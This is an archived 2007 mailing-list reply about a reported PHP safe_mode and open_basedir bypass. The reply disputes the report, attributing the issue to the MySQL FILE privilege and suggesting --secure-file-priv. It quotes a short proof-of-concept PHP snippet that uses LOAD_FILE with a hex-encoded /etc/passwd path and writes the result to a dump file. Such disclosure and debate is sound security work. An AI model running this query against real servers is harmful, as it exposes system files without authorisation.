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Re: PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass

From: Ben Wheeler <b.wheeler(at)ulcc.ac.uk>
Date: Wed Sep 12 2007 - 08:27:01 EDT


On Tue, Sep 11, 2007 at 04:38:47AM -0000, laurent.gaffie@gmail.com wrote:
> Application: PHP <=5.2.4
> Web Site: http://php.net
> Platform: unix
> Bug: safemode & open_basedir bypass

...
> various mysql functions safemode & open_basedir bypass
> ( LOAD_FILE , INTO DUMPFILE , INTO OUTFILE )
...
> <?php
> mysql_connect("localhost", "granted_user","something");
> mysql_query("select load_file(0x2F6574632F706173737764)into dumpfile'/test/123.txt';");
> ?>

I don't see what this has to do with PHP. If a user has been granted the FILE privilege on MySQL, they can create and read files on the server with the permissions of the mysqld user. That privilege should clearly not be granted to untrusted users, at least not without using mysqld's --secure-file-priv=/some/safe/path option.

Ben Received on Wed Sep 12 12:34:39 2007

This archive was generated by hypermail 2.1.8 : Sun Oct 28 2007 - 06:15:22 EDT


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